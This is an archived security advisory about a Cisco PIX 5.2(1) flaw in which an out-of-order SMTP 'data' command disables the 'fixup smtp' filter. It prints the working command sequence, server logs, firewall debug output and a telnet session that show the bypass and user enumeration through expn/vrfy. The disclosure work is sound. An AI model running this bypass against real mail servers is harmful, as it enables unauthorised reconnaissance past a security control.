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TUCoPS :: Cisco :: cisco35.htm

Cisco PIX hole



Vulnerability

    Cisco

Affected

    Cisco PIX

Description

    Following is based on 'naif'  post "How to escape "fixup  smtp" of
    Cisco Pix Firewall".   This is not  new.  It  has been noticed  by
    Lincoln  Yeoh  with  a  title  "Out  of  order  SMTP DATA commands
    incorrectly   allow   pass-through    mode   in   some    firewall
    smtp filters/proxies".  Take a look at:

        http://oliver.efri.hr/~crv/security/bugs/Others/smtp3.html

    The original post does not say anything about Cisco PIX.

    The   Cisco   Pix   Firewall   normally   restrict  some  protocol
    command  (http,ftp,smtp)  and  manage  multisession protocol(h323,
    ftp,  sqlnet)  .   'naif'  made  some  test  on  a BSDI3.0 running
    sendmail9 placed  in the  dmz.   The Pix  version it's the latest,
    5.2(1)... here the output of "show ver"

        =====================================================
        
        Cisco Secure PIX Firewall Version 5.2(1)
        
        Compiled on Tue 22-Aug-00 23:35 by bhochuli
        
        pixtest1 up 22 days 5 hours
        
        Hardware:   SE440BX2, 128 MB RAM, CPU Pentium II 349 MHz
        Flash i28F640J5 @ 0x300, 16MB
        BIOS Flash AT29C257 @ 0xfffd8000, 32KB
        
        0: ethernet0: address is 00d0.b790.41a5, irq 11
        1: ethernet1: address is 00d0.b790.54d4, irq 10
        2: ethernet2: address is 00e0.b601.d289, irq 15
        3: ethernet3: address is 00e0.b601.d288, irq 9
        4: ethernet4: address is 00e0.b601.d287, irq 11
        5: ethernet5: address is 00e0.b601.d286, irq 10
        
        Licensed Features:
        Failover:       Enabled
        VPN-DES:        Enabled
        VPN-3DES:       Enabled
        Maximum Interfaces:     6
        Cut-through Proxy:      Enabled
        Guards:         Enabled
        Websense:       Enabled
        Throughput:     Unlimited
        ISAKMP peers:   Unlimited
        =======================================================

    The Pix when a new connection are established use his fixup filter
    to nullify every command that  aren't in his "allowed list"  (such
    as HELO, MAIL  FROM:, RCPT TO:,  DATA, RSET, QUIT).   For example,
    for the "security trought obscurity" concept he rewrite the banner
    of the original MTA.  This is a sendmail...

        220 *********************************************************2000 ***0******0200 ******

    Now, pix nullify help command, and  if You write a e-mail to  your
    friend asking for ''help'', it  should drop the line on  which You
    wrote "help".  So, Cisco Pix Firewall, after "data" command, until
    "<CR><LF><CR><LF>.<CR><LF>" disable the  fixup.  Now  what happens
    if You don't complete the e-mail, or if You immediatly type "data"
    in place of normal  "helo, mail from, rcpt  to, data, quit"?   Pix
    disables  the  fixup  and  give  You  a  direct channel to the MTA
    without doing content filtering.

    Here an example of what You could do exploiting this bug:

        helo ciao
        mail from: pinco@pallino.it
        data                                 ( From here pix disable fixup)
        expn guest			     ( Now i could enumerate user
        vrfy oracle				and have access to all command)
        help
        whatever command i want
        quit

    Greeting to Cisco and it's Security Products!

    Here log of test...

        - Ip of the client: 10.10.10.10
        - Public Ip of the Server: 10.10.10.2
        - Private Ip of the Server: 172.16.1.2

    The sendmail log:

        Sep 19 14:06:19 testbox sendmail[14163]: NOQUEUE: Authentication-Warning: testbox.test.it: [10.10.10.10] didn't use HELO protocol
        Sep 19 14:07:36 testbox sendmail[14164]: NOQUEUE: [10.10.10.10]: expn pinco
        Sep 19 14:08:03 testbox sendmail[14165]: NOQUEUE: [10.10.10.10]: vrfy pallino
        Sep 19 14:08:50 testbox sendmail[14163]: OAA14163: from=pix@il.firewall.cattivo.it, size=0, class=0, pri=0, nrcpts=0, proto=SMTP, relay=[10.10.10.10]

    Here the OutPut of "debug fixup tcp" on the pix:

                tcp: TCP MSS changed to 1380
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
                tcp: SYN out rcvd
                tcp: TCP MSS changed to 1380
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                tcp: exiting embyonic
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
                tcp: TCP MSS changed to 1380
                tcp: TCP MSS changed to 1380
                tcp: TCP MSS changed to 1380
                tcp: TCP MSS changed to 1380
                tcp: TCP MSS changed to 1380
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
                smtp: unknown command
                smtp: X-ing ciao pix mi vuoi rispondere?
        
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                smtp_respond: ERR: bad reply code
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
                smtp: help command
                smtp: nullify <help> command
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                smtp_respond: ERR: bad reply code
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
                smtp: mail command
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
                smtp: data command
                smtp: entering data mode
        
        ###### From here the pix think that i'm writing the e-mail body, so disable fixup
        ###### and i could inject my malicious command without having them nullified.
        
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                smtp_respond: ERR: bad reply code
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                smtp_respond: ERR: bad reply code
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                smtp_respond: ERR: bad reply code
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)
        smtp_response: (172.16.1.2/25 -> 10.10.10.10/1302)
                smtp_respond: ERR: bad reply code
        smtp: command (172.16.1.2/25 <- 10.10.10.10/1302)

    Here the telnet session:

        naif:~# telnet  10.10.10.2 25
        Trying 10.10.10.2...
        Connected to 10.10.10.2.
        Escape character is '^]'.
        220 *********************************************************2000 ***0******0200 ******
        ciao pix mi vuoi rispondere?
        500 Command unrecognized: "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"
        help
        500 Command unrecognized: "XXXX"
        mail from: pix@il.firewall.cattivo.it
        250 pix@il.firewall.cattivo.it... Sender ok
        data
        503 Need RCPT (recipient)
        
        #### LOOK, FROM HERE FIXUP IT'S DISABLED :)))
        
        help
        214-This is Sendmail version 8.9.1
        214-Topics:
        214-    HELO    EHLO    MAIL    RCPT    DATA
        214-    RSET    NOOP    QUIT    HELP    VRFY
        214-    EXPN    VERB    ETRN    DSN
        214-For more info use "HELP <topic>".
        214-To report bugs in the implementation send email to
        214-    sendmail-bugs@sendmail.org.
        214-For local information send email to Postmaster at your site.
        214 End of HELP info
        expn pinco
        550 pinco... User unknown
        vrfy pallino
        550 pallino... User unknown

Solution

    Cisco  have  been  working  for  some  time to repair this defect.
    They do not yet have fixed code to address this issue, but  expect
    to  shortly  --  this  is  what  typically  holds  up the advisory
    process, ensuring that we have a solution to the problem reported.


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